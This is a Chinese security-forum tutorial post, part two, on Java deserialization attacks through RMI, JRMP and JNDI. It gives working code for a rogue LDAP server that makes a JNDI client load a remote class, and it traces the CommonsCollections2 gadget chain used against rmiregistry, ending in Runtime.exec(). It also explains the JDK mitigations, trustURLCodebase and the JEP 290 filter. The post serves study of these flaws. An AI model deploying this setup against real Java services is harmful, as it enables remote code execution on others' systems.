安全矩阵

 找回密码
 立即注册
搜索
查看: 5979|回复: 0

JAVA反序列化中 RMI JRMP 以及JNDI多种利用方式详解(下)

[复制链接]

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
发表于 2020-12-5 09:22:13 | 显示全部楼层 |阅读模式
这次获取的是一个名称为TRUST_URL_CODEBASE_PROPERTY的属性值,也就是说我们需要将该值也设置为true才行

  1. System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
  2. //至于这个com.sun.jndi.ldap.object.trustURLCodebase这个属性会在后续的JNDI Reference的LDAP攻击响亮中讲到。
  3. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
复制代码


也就是说 在jdk 8u191及其以后的版本中如果想让 JNDI Reference rmi攻击向量成功RCE的话 目标服务器就必须在lookup之前加上以上两行代码
由此可见在jdk 8u191及其以后的版本中通过这种方式来进行RCE攻击几乎不可能实现了。

0x06  服务端攻击客户端 3

在上一小节中通过使用JNDI 的Reference rmi攻击向量进行RCE攻击,根据网络上大佬们提供的思路,除了使用rmi攻击向量以外还可以使用JNDI Ldap向量来进行攻击
话不多说直接上源码,首先先看下Ldap服务端源码

  1. public class LDAPSeriServer {

  2.     private static final String LDAP_BASE = "dc=example,dc=com";


  3.     public static void main(String[] args) throws IOException {
  4.         int port = 1389;

  5.         try {
  6.           //这里的代码只是在内存中模拟了一个ldap服务,本机上并不存在一个ldap数据库所以程序结束后这些就都消失了
  7.             InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  8.             config.setListenerConfigs(new InMemoryListenerConfig(
  9.                     "listen", //$NON-NLS-1$
  10.                     InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
  11.                     port,
  12.                     ServerSocketFactory.getDefault(),
  13.                     SocketFactory.getDefault(),
  14.                     (SSLSocketFactory) SSLSocketFactory.getDefault()));

  15.             config.setSchema(null);
  16.             config.setEnforceAttributeSyntaxCompliance(false);
  17.             config.setEnforceSingleStructuralObjectClass(false);
  18.           //向ldap服务中添加数据条目,具体ldap条目相关细节可以去学习ldap相关知识,这里就不做详细讲解了
  19.             InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  20.             ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
  21.             ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
  22.             ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

  23.             System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
  24.             ds.startListening();

  25.         } catch (Exception e) {
  26.             e.printStackTrace();
  27.         }
  28.     }
  29. }
复制代码
以上的代码呢就是在本地起了一个ldap服务监听1389端口,并向其中添加了一条可被查询的条目。单起一个ldap服务肯定是不够的,既然是ldap RCE攻击向量,那就肯定要添加一些东西让 客户端在通过JNDI查询该Ldap的条目之后转而去指定的服务器上加载恶意类。
所以需要向该条目中添加一些属性,根据知道创宇404实验室的Longofo大佬的文章

  1. public class LDAPServer1 {
  2.     public static void main(String[] args) throws NamingException, RemoteException {
  3.         Hashtable env = new Hashtable();
  4.         env.put(Context.INITIAL_CONTEXT_FACTORY,
  5.                 "com.sun.jndi.ldap.LdapCtxFactory");
  6.         env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

  7.         DirContext ctx = new InitialDirContext(env);

  8.         Attribute mod1 = new BasicAttribute("objectClass", "top");
  9.         mod1.add("javaNamingReference");

  10.         Attribute mod2 = new BasicAttribute("javaCodebase",
  11.                 "http://127.0.0.1:8000/");
  12.         Attribute mod3 = new BasicAttribute("javaClassName",
  13.                 "ExportObject");
  14.         Attribute mod4 = new BasicAttribute("javaFactory", "com.longofo.remoteclass.ExportObject");


  15.         ModificationItem[] mods = new ModificationItem[]{
  16.                 new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),
  17.                 new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),
  18.                 new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),
  19.                 new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)
  20.         };
  21.         ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods);
  22.     }
  23. }
复制代码


这里是向之前创建好的ldap索引中添加一些属性,客户端在向服务端查询该条索引,服务端返回查询结果,客户端根据服务端的返回结果然后去指定位置查找并加载恶意类,这就是ldap攻击向量一次RCE攻击的流程。
这里我们就要具体关注下JNDI客户端是如何在访问Ldap服务的时候被RCE的
首先客户端代码

  1. public class LDAPClient1 {
  2.     public static void main(String[] args) throws NamingException {
  3.         Context ctx = new InitialContext();
  4.         Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
  5.     }
  6. }
复制代码
lookup函数开始一直往下执行,执行到LdapCtx.c_lookup方法时,发送查询信息到服务端并解析服务端的返回数据


    1. protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
    2.     var2.setError(this, var1);
    3.     Object var3 = null;

    4.     Object var4;
    5.     try {
    6.         SearchControls var22 = new SearchControls();
    7.         var22.setSearchScope(0);
    8.         var22.setReturningAttributes((String[])null);
    9.         var22.setReturningObjFlag(true);
    10.         //此处客户端向服务端进行查询并获得查询结果
    11.         LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
    12.         this.respCtls = var23.resControls;
    13.         if (var23.status != 0) {
    14.             this.processReturnCode(var23, var1);
    15.         }

    16.         if (var23.entries != null && var23.entries.size() == 1) {
    17.             LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
    18.             var4 = var25.attributes;
    19.             Vector var8 = var25.respCtls;
    20.             if (var8 != null) {
    21.                 appendVector(this.respCtls, var8);
    22.             }
    23.         } else {
    24.             var4 = new BasicAttributes(true);
    25.         }

    26.         if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
    27.           //将查询的结果,也就是我们在server端所添加的那几条属性进行解析,并返回一个Reference对象  
    28.           var3 = Obj.decodeObject((Attributes)var4);
    29.         }
    30.   ......
    31.     try {
    32.       //此后的操作就和rmi Reference一样的通过实例化URLClassloader对像,根据Reference中的信息去远程加载恶意类
    33.         return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
    34. ......
    35. }
    复制代码
    关键点在于var3 = Obj.decodeObject((Attributes)var4)这行代码解析完成后所返回的结果,如下图所示。


    然后在DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4)这行代码中根据Reference中的信息 实例化URLClassloader去远程加载恶意类。
    这种方法一直到jdk 8u191之前的版本都是可用的,但是在之后的版本中同 JNDI rmi Reference一样,添加了对com.sun.jndi.ldap.object.trustURLCodebase属性的校验,该值默认为false

    0x07  服务端攻击rmiregistry

    接下来我们就要讲通过服务端来攻击rmiregistry了,和客户端服务端互相攻击的方式比起来相对复杂那么一些,确切的说是通过伪造一个服务端的形式,因为之前说这rmiregistry通常都和真正的服务端出在同一个主机,同一个项目上,根据我们之前对RMI流程的分析,服务端在通过bind方法向rmiregistry绑定远程方法信息时,rmiregistry会反序列化服务端传来的数据,在rmiregistry方处理服务端传来的数据时会调用RegistryImpl_Skel的dispatch方法,其中会反序列化服务端传来的两个信息,一个是远程方法提供服务的注册名,另一个是封装有远程方法提供服务方信息的Proxy对象。

    1. //获取输入流
    2. var9 = var2.getInputStream();
    3. //反序列化“hello”字符串
    4. var7 = (String)var9.readObject();
    5. //这个位置本来是属于反序列化出来的“HelloImpl”对象的,但是最终结果得到的是一个Proxy对像
    6. //这个很关键,这个Proxy对象即所为的Stub(存根),客户端就是通过这个Stub来知道服务端的地址和端口号从而进行通信的。
    7. //这里的反序列化点很明显是我们可以利用的,通过RMI服务端执行bind,我们就可以攻击rmiregistry注册中心,导致其反序列化RCE
    8. var80 = (Remote)var9.readObject();
    复制代码
    第一个String类型的数据反序列化我们没有利用的思路,因为String是一个final类型,没办法继承和实现,我们入手的点就只能是下面的那个 var80 = (Remote)var9.readObject();之前分析RMI流程代码时有一个点没有提到,就是bind方法在序列化一个远程对象时会将转化成一个proxy对象然后再进行序列化操作并传输给rmiregistry,序列化的proxy对像默认是实现Remot接口并封装RemoteObjectInvocationHandler的,但是如果传递的远程对象本身就是Proxy则不会进行任何转化直接传递,由MarshalOutputStream对象的replaceObject方法来实现具体操作,代码如下。


      1. protected final Object replaceObject(Object var1) throws IOException {
      2.     if (var1 instanceof Remote && !(var1 instanceof RemoteStub)) {
      3.         Target var2 = ObjectTable.getTarget((Remote)var1);//生成一个Target对象,其中有一个stub属性就是转化好的Proxy对象
      4.         if (var2 != null) {
      5.             return var2.getStub();//返回Proxy对象
      6.         }
      7.     }

      8.     return var1;
      9. }
      复制代码
      那么这样以来,似乎攻击的思路就突然清晰了,我们只需要找一个rmiregistry中可以利用的Gadget然后,ysoserial中的RMIRegistryExploit就是针对使用了版本低于JDK8u121的rmiregistry进行反序列化攻击的一个工具。
      此次的测试环境是jdk1.7_21,采用CommonCollection2作为payload来进行尝试和分析。由于CommonCollection2封装的过程中用到了

      1. import org.apache.commons.collections4.comparators.TransformingComparator;
      2. import org.apache.commons.collections4.functors.InvokerTransformer;
      复制代码
      所以在rmiregistry这边将commons-collections4引入
      1. <dependency>
      2.     <groupId>org.apache.commons</groupId>
      3.     <artifactId>commons-collections4</artifactId>
      4.     <version>4.0</version>
      5. </dependency>
      复制代码
      然后展示一下服务端这边最终封装完后的一个Proxy,服务端将这个Proxy序列化后 传递给rmiregistry,然后rmiregistry反序列化该数据从而出发漏洞执行命令

      最终的调用链简化一下,如下所示


      1. AnnotationInvocationHandler.readObject()
      2. HashMap.readObject()
      3. PriorityQueue.readObject()
      4. PriorityQueue.heapify()
      5. PriorityQueue.siftDown()
      6. PriorityQueue.siftDownUsingComparator()
      7. TransformingComparator.compare()
      8. InvokerTransformer.transform()
      9. TemplatesImpl.newTransformer()
      10. TemplatesImpl.getTransletInstance()
      11. Runtime.exec()
      复制代码
      具体的反序列化过程就不做分析了
      但是要注意一点就是jdk 8u121版本以后,在rmiregistry创建时不是有这么一段代码么 this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter)); 传入了RegistryImpl::registryFilter作为参数,所以在rmiregistry这边反序列化服务端传递来的Proxy对象时,是会进行对象的白名单校验的,只有以下对象才能进行反序列化

      1. String.class != var2
      2. && !Number.class.isAssignableFrom(var2)
      3. && !Remote.class.isAssignableFrom(var2)
      4. && !Proxy.class.isAssignableFrom(var2)
      5. && !UnicastRef.class.isAssignableFrom(var2)
      6. && !RMIClientSocketFactory.class.isAssignableFrom(var2)
      7. && !RMIServerSocketFactory.class.isAssignableFrom(var2)
      8. && !ActivationID.class.isAssignableFrom(var2)
      9. && !UID.class.isAssignableFrom(var2)
      复制代码
      1. 但是我们在构造恶意类的时候使用的是CommonCollection2,registryFilter在反序列化完最外面的proxy对象后第二要要反序列化的就是AnnotationInvocationHandler,而AnnotationInvocationHandler根本就不在上面的白名单里所以自然会抛出异常
      复制代码

      1. ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler
      复制代码
      这个白名单过滤机制也就是所谓的 JEP290, 就是可以通过实现ObjectInputFilter这么一个函数式接口的方式来自定义自己想要过滤的类,在使用了该机制以后,ysoserial中所有的gadget几乎都不可用了,需要想办法绕过这个白名单才行。
      0x08  总结

      在以上的讲解中,我们分析了 RMI客户端,服务端以及rmiregistry之间的关系,也对三方之间的多种攻击方式进行了详细的介绍,希望大家在看完文章后可以自己再跟随文章的步骤,手动调试一下这个过程,这样可以加深大家对RMI,JRMP,以及JNDI的理解。

      0x09  参考链接

      https://xz.aliyun.com/t/7079
      https://xz.aliyun.com/t/7264
      https://paper.seebug.org/1091/


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 15:57 , Processed in 0.012991 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表